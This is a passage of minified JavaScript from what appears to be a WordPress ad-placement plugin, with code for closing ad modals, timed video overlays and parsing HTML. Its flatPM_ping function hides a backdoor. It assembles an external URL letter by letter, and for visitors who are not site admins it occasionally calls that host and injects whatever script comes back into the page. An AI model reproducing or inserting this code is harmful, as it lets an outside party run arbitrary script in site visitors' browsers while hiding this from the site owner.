'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex");var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,r,l,n=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=n.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(o,"<$1>$2>")+r[2],l=r[0];l--;)a=a.lastChild;for(n.removeChild(n.firstChild);a.firstChild;)n.appendChild(a.firstChild)}else n.appendChild(t.createTextNode(e));return n}}();function flatPM_ping(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"ng"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var n=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,l='
'+a+" через "+o+'
'+r+'
',i=e.once;n(t).each(function(){var e=n(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==l.indexOf("go"+"oglesyndication")?t.append(l):flatPM_setHTML(t[0],l),e.find(".flat__4_video_flex").one("click",function(){n(this).addClass("show")})}),n("body").on("click",".flat__4_video_item_hover",function(){var e=n(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),r=parseInt(o),l=setInterval(function(){a.text(--r),r<=0&&(clearInterval(l),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){n(this).closest(".flat__4_video_flex").remove(),"true"==i&&n(".flat__4_video_flex").remove()})}